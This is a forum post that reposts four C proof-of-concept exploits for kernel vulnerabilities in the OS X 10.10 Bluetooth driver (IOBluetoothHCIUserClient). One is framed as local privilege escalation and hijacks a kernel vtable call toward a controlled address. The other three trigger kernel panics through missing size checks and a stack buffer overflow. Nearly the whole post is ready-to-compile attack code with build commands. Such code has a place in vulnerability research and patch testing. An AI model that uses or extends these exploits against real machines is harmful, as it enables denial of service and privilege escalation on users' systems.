Jump to content
Aerosol

OS X 10.10 Bluetooth Multiple Vulnerabilities

Recommended Posts

Posted

OS X 10.10 Bluetooth DispatchHCIWriteStoredLinkKey - Crash PoC

/*
* lpe-issue1.c
* Written for Mac OS X Yosemite (10.10.1) by @ joystick and @ rpaleari.
*
* Exploits IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey()
*
* gcc -Wall -o lpe-issue1{,.c} -framework IOKit
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

#define SIZE 0x1000

struct BluetoothCall {
uint64_t args[7];
uint64_t sizes[7];
uint64_t index;
};

#ifndef bswap64
# define bswap64(num) \
( (((uint64_t)(num) << 56) ) \
| (((uint64_t)(num) << 40) & UINT64_C(0x00FF000000000000)) \
| (((uint64_t)(num) << 24) & UINT64_C(0x0000FF0000000000)) \
| (((uint64_t)(num) << 8) & UINT64_C(0x000000FF00000000)) \
| (((uint64_t)(num) >> 8) & UINT64_C(0x00000000FF000000)) \
| (((uint64_t)(num) >> 24) & UINT64_C(0x0000000000FF0000)) \
| (((uint64_t)(num) >> 40) & UINT64_C(0x000000000000FF00)) \
| (((uint64_t)(num) >> 56) ) )
#endif

void create_requests(io_connect_t port)
{
struct BluetoothCall a;
uint32_t i;
kern_return_t kr;

for (i = 0; i < 7; i++) {
a.args[i] = (uint64_t) calloc(SIZE, sizeof(char));
a.sizes[i] = SIZE;
}

/* DispatchHCIRequestCreate() */
a.index = 0x0;

*(uint64_t *)a.args[0] = 5*1000; /* Timeout */
memset((void *)a.args[1], 0x81, 0x1000);
memset((void *)a.args[2], 0x82, 0x1000);
memset((void *)a.args[3], 0x83, 0x1000);
memset((void *)a.args[4], 0x84, 0x1000);
memset((void *)a.args[5], 0x85, 0x1000);
memset((void *)a.args[6], 0x86, 0x1000);

for(i = 0; i < 500; i++) {
kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
(uint32_t) 0, /* Selector */
NULL, 0, /* input, inputCnt */
(const void*) &a, /* inputStruct */
120, /* inputStructCnt */
NULL, NULL, NULL, NULL); /* Output stuff */

if(kr == 0xe00002bd) /* Full */
break;
}
}

int main(void) {
struct BluetoothCall a;
int i;
void *landing_page = calloc(SIZE, sizeof(char));

/* Init a */
for (i = 0; i < 7; i++) {
a.args[i] = (uint64_t) calloc(SIZE, sizeof(char));
a.sizes[i] = SIZE;
}

/* Finding vuln service */
io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOBluetoothHCIController"));

if (!service) {
return -1;
}

/* Connect to vuln service */
io_connect_t port = (io_connect_t) 0;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
IOObjectRelease(service);
if (kr != kIOReturnSuccess) {
return kr;
}

/* Populating with fake requests. */
create_requests(port);

/* IOBluetoothHCIUserClient::DispatchHCIWriteStoredLinkKey() */
a.index = 42;
/* Req number */
*((uint32_t *)a.args[0]) = 1;
/* num_of_keys */
*((uint32_t *)a.args[1]) = 0x20;

/* Padding */
memset((void *)a.args[3], 0x33, 152);
/* mov rdi, [r14+0AB8h] */
*((uint64_t *)(a.args[3]+152)) = bswap64((uint64_t)landing_page);
/* mov rax, [rdi] */
*((uint64_t *)((uint64_t)landing_page)) = (uint64_t)landing_page;
/* call [rax+0x1d0]: this will trigger a #GP calling 0x4141414142424242 */
*((uint64_t *)((uint64_t)landing_page+0x1d0)) = (uint64_t) 0x4141414142424242;

/* Here some fixing to the vtable is required to return cleanly after the exploit */

#if 0
/* Debug print */
for(i = 0; i < 120; i++) {
if(i % 8 == 0) printf("\n");
printf("\\x%02x", ((unsigned char *)&a)[i]);
}
printf("\n");
#endif

kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
(uint32_t) 0, /* Selector */
NULL, 0, /* input, inputCnt */
(const void*) &a, /* inputStruct */
120, /* inputStructCnt */
NULL, NULL, NULL, NULL); /* Output stuff */
printf("kr: %08x\n", kr);

return IOServiceClose(port);
}

Source

OS X 10.10 Bluetooth DispatchHCICreateConnection - Crash PoC

/*
* crash-issue1.c: Written for Mac OS X Yosemite (10.10) by @ rpaleari and @ joystick.
*
* Exploits a missing check in
* IOBluetoothHCIUserClient::DispatchHCICreateConnection() causing a panic.
*
* gcc -Wall -o crash-issue1{,.c} -framework IOKit
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

#define SIZE 0x1000

struct BluetoothCall {
uint64_t args[7];
uint64_t sizes[7];
uint64_t index;
};

int main(void) {
/* Finding vuln service */
io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOBluetoothHCIController"));

if (!service) {
return -1;
}

/* Connect to vuln service */
io_connect_t port = (io_connect_t) 0;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
IOObjectRelease(service);
if (kr != kIOReturnSuccess) {
return kr;
}

printf(" [+] Opened connection to service on port: %d\n", port);

struct BluetoothCall a;
int i;

for (i=0; i<7; i++) {
a.args[i] = (uint64_t) calloc(SIZE, sizeof(char));
a.sizes[i] = SIZE;
}

/* This value causes IOMalloc() to fail */
a.args[6] = 0x0;
a.sizes[6] = 0x80000041;
a.index = 0x06; /* DispatchHCICreateConnection() */

for(i = 0; i < 120; i++) {
if(i % 8 == 0) printf("\n");
printf("\\x%02x", ((unsigned char *)&a)[i]);
}
printf("\n");

kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
(uint32_t) 0, /* Selector */
NULL, 0, /* input, inputCnt */
(const void*) &a, /* inputStruct */
120, /* inputStructCnt */
NULL, NULL, NULL, NULL); /* Output stuff */
printf("kr: %08x\n", kr);

return IOServiceClose(port);
}

Source

OS X 10.10 Bluetooth TransferACLPacketToHW - Crash PoC

/*
* crash-issue3.c: Written for Mac OS X Yosemite (10.10) by @ rpaleari and @ joystick.
*
* Exploits a missing check in
* IOBluetoothHCIController::TransferACLPacketToHW() to trigger a panic.
*
* gcc -Wall -o crash-issue3{,.c} -framework IOKit
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

struct BluetoothCall {
uint64_t args[7];
uint64_t sizes[7];
uint64_t index;
};

int main(void) {
/* Finding vuln service */
io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOBluetoothHCIController"));

if (!service) {
return -1;
}

/* Connect to vuln service */
io_connect_t port = (io_connect_t) 0;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
IOObjectRelease(service);
if (kr != kIOReturnSuccess) {
return kr;
}

printf(" [+] Opened connection to service on port: %d\n", port);

struct BluetoothCall a;

memset(&a, 0, sizeof(a));

a.sizes[0] = 0x1000;
a.args[0] = (uint64_t) calloc(a.sizes[0], sizeof(char));

a.sizes[1] = 0x1000;
a.args[1] = (uint64_t) calloc(a.sizes[1], sizeof(char));
memset((void *)a.args[1], 0x22, 0x1000);


/* Call DispatchHCISendRawACLData() */
a.index = 0x63;

/* Debug */
for(int i = 0; i < 120; i++) {
if(i % 8 == 0) printf("\n");
printf("\\x%02x", ((unsigned char *)&a)[i]);
}
printf("\n");
fflush(stdout);

kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
(uint32_t) 0, /* Selector */
NULL, 0, /* input, inputCnt */
(const void*) &a, /* inputStruct */
sizeof(a), /* inputStructCnt */
NULL, NULL, NULL, NULL); /* Output stuff */
printf("kr: %08x\n", kr);

return IOServiceClose(port);
}

Source

OS X 10.10 Bluetooth BluetoothHCIChangeLocalName - Crash PoC

/*
* crash-issue2.c: Written for Mac OS X Yosemite (10.10) by @ rpaleari and @ joystick.
*
* Triggers a panic overwriting a stack_canary.
*
* gcc -Wall -o crash-issue2{,.c} -framework IOKit
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

struct BluetoothCall {
uint64_t args[7];
uint64_t sizes[7];
uint64_t index;
};

int main(void) {
/* Finding vuln service */
io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching("IOBluetoothHCIController"));

if (!service) {
return -1;
}

/* Connect to vuln service */
io_connect_t port = (io_connect_t) 0;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
IOObjectRelease(service);
if (kr != kIOReturnSuccess) {
return kr;
}

printf(" [+] Opened connection to service on port: %d\n", port);

struct BluetoothCall a;

a.sizes[0] = 0x1000;
a.args[0] = (uint64_t) calloc(a.sizes[0], sizeof(char));

/* This arguments overflows a local buffer and the adjacent stack canary */
a.sizes[1] = 264;
a.args[1] = (uint64_t) calloc(a.sizes[1], sizeof(char));
memset((void *)a.args[1], 'A', a.sizes[1]);

/* Call IOBluetoothHCIUserClient::DispatchHCIReadLocalName() */
a.index = 0x2d;

/* Debug */
for(int i = 0; i < 120; i++) {
if(i % 8 == 0) printf("\n");
printf("\\x%02x", ((unsigned char *)&a)[i]);
}
printf("\n");
fflush(stdout);

kr = IOConnectCallMethod((mach_port_t) port, /* Connection */
(uint32_t) 0, /* Selector */
NULL, 0, /* input, inputCnt */
(const void*) &a, /* inputStruct */
sizeof(a), /* inputStructCnt */
NULL, NULL, NULL, NULL); /* Output stuff */
printf("kr: %08x\n", kr);

return IOServiceClose(port);
}

Source

  • Upvote 1

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...